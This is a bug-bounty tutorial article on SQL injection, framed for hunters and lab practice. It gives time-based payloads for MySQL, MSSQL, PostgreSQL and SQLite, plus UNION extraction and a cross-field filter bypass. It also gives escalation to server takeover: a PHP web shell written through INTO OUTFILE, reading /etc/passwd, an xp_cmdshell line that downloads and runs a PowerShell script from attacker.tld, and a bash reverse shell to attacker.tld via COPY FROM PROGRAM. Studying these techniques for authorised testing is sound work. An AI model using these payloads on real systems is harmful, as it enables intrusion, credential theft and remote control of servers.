Intermediate levelFree

SQL Injection — complete methodology with time-based, UNION and RCE

Detection via isomorphic queries, time-based payloads for 4 engines, escalation to RCE (xp_cmdshell, INTO OUTFILE, UDFs) and cross-field bypasses.

Gorka El BochiMay 9, 202614 min

Quick answer

SQLi is still active in 2026 — much less common in modern SaaS but abundant in legacy apps, admin panels and partially cross-validated fields. The methodology is: detect (isomorphic queries) → confirm (time-based on the identified engine) → extract (UNION or boolean-based) → escalate (RCE via OUTFILE, xp_cmdshell or UDFs). Typical bounties: €1,000-€5,000+ depending on severity.


Detection — isomorphic queries

Before aggressive payloads, try equivalent inputs that only give the same result if the query executes:

ContextTest ATest B (isomorphic)Signal
Numericid=1id=2-1Arithmetic executes
Numericid=1id=1+''String concat executes
LIKEq=Bigq=Big%%Wildcard % not escaped
Stringname=Bigname=Big' 'Quote not escaped

A successful double % reveals a LIKE context (not WHERE =). Lighter, less WAF detection, it identifies the exact context before throwing payloads.


Time-based payloads per engine

MySQL

sql
' AND SLEEP(5)-- -
" AND SLEEP(5)-- -
') AND SLEEP(5)-- -
' AND (SELECT SLEEP(5))-- -
1 AND SLEEP(5)-- -
' OR SLEEP(5)-- -
' AND BENCHMARK(10000000,SHA1('test'))-- -

MSSQL

sql
'; WAITFOR DELAY '0:0:5'-- -
"; WAITFOR DELAY '0:0:5'-- -
'); WAITFOR DELAY '0:0:5'-- -
1; WAITFOR DELAY '0:0:5'-- -

PostgreSQL

sql
'; SELECT pg_sleep(5)-- -
' AND (SELECT pg_sleep(5))-- -
1; SELECT pg_sleep(5)-- -
' || pg_sleep(5)-- -

SQLite

sql
' AND 1=RANDOMBLOB(500000000)-- -
" AND 1=RANDOMBLOB(500000000)-- -
') AND 1=RANDOMBLOB(500000000)-- -

Measure the latency: 200ms → 5+s confirms execution. Repeat 3 times to rule out a false positive from network jitter.


Engine identification

After confirming SQLi, identify:

TestIf it responds fastEngine
version()stringMySQL/PostgreSQL
@@versionMSSQL versionMSSQL
sqlite_version()"3.x"SQLite
' UNION SELECT @@version-- string in the responseMySQL/MSSQL
' AND 1=1::int--OKPostgreSQL

Precise engine identification unlocks the correct payloads.


SQL → RCE

When you get SQLi on an endpoint with sufficient privileges, it's RCE on the server. By engine:

MySQL — INTO OUTFILE web shell

sql
' UNION SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'-- -

Requirements: FILE privilege, knowing a writable path served by the web server.

MySQL — LOAD_FILE

sql
' UNION SELECT LOAD_FILE('/etc/passwd')-- -
' UNION SELECT LOAD_FILE(0x2f6574632f706173737764)-- -   # hex bypass de filtros

MSSQL — xp_cmdshell

sql
'; EXEC xp_cmdshell 'whoami'-- -
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;-- -
'; EXEC xp_cmdshell 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(''http://attacker.tld/shell.ps1'')"'-- -

If xp_cmdshell is disabled, reconfiguring is usually enough (some SQL accounts have sp_configure permissions).

PostgreSQL — COPY FROM PROGRAM

sql
'; CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'whoami';-- -

'; COPY cmd_exec FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/attacker.tld/4444 0>&1"';-- -

PostgreSQL — C UDF

sql
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('whoami');

Requires high privileges (SUPERUSER).


Cross-field bypass — the enrollment case

When filters are applied partially across different fields:

  • Field A (enrollmentNumber): enforces an exact length of 6 characters.
  • Field B (nationalId): strips single and double quotes.
scss
enrollmentNumber = 'OR ''            (6 chars exactos, satisface length)
nationalId      = =2 UNION SELECT CONCAT(...)-- -    (sin comillas, pasa quote filter)

The original query:

sql
WHERE a.enrollmentNumber = '$enrollmentNumber'
  AND a.nationalId = '$nationalId'

With the injection:

sql
WHERE a.enrollmentNumber='' OR ''' AND a.nationalId='=2 UNION SELECT...-- -'
  1. enrollmentNumber='' → false.
  2. OR ''' → closes and reopens quotes, turns AND a.nationalId=' into a string.
  3. The content of nationalId (without quotes) executes as SQL.

UNION without quotes using CHAR():

sql
=2 UNION SELECT CONCAT(STUDENTID, CHAR(32), STUDENTNAME, CHAR(32), NATIONALID, CHAR(32), EMAIL) FROM STUDENT WHERE STUDENTID = 10425-- -

Pattern to look for: apps with multiple fields where each has different validations. Partial filters on separate fields combine into a full bypass.


PostgreSQL double-dash injection

A curious case: a negative numeric parameter in an arithmetic operation.

sql
SELECT balance - ? FROM accounts   -- con param = -1
-- Interpola a: SELECT balance --1 FROM accounts
-- PostgreSQL trata "--1" como line comment (MySQL requiere whitespace después de --)

Requirements:

  • PostgreSQL (not MySQL/SQLite).
  • Simple query protocol (not extended/prepared statements).
  • A numeric parameter in an arithmetic context (balance - ?).

Escalation with a multi-line string + newline in another parameter breaks the comment and allows injecting arbitrary SQL.

Correct fix: wrap negatives in parentheses (-42).


Hunting methodology

less
[ ] Identificar todos los endpoints con parámetros numéricos
[ ] Aplicar isomorphic queries para detectar primer signal
[ ] Confirmar con time-based del motor identificado
[ ] Extracción mínima (database name, version)
[ ] Decisión: ¿UNION-based, boolean-based, time-based?
[ ] Si privileges altos: probar RCE (OUTFILE/xp_cmdshell/COPY FROM PROGRAM)
[ ] Documentar PoC completo con request + response visible

Burp + sqlmap is useful to automate parts, but manual first to identify the context.


Hunting checklist

  • Are there endpoints where the ID travels in the URL/body without clear parameterization?
  • Does the app have admin panels or legacy modules with direct SQL?
  • Are the errors verbose with DB stack traces?
  • Searches with LIKE (q=)? Try wildcards and quotes.
  • Numeric parameters in arithmetic operations? (postgres double-dash).
  • Multiple fields with different validations? → cross-field bypass.

Practice time-based, UNION extraction and SQLi → RCE on apps with four engines: SQL Injection labs.

Free · no account

The checklist I run on every new target

47 checks ordered by cost: first what can get you in trouble, then the cheap stuff, and finally the expensive stuff — which is where the big bounties are. I'll send it to your inbox right now.

Unsubscribe in one click, from any email.

Practice this in a lab

Sqli

Solve

Keep learning · free account

Save your progress, unlock advanced payloads and rank your flags.

Create account

Related articles

2,482

hunters training

62

labs from real hacks

1,629

completions

$14,790

paid out for these bugs

11 flags captured this week·Real hacks from HackerOne · YesWeHack · Bugcrowd·No commitment·Free Academy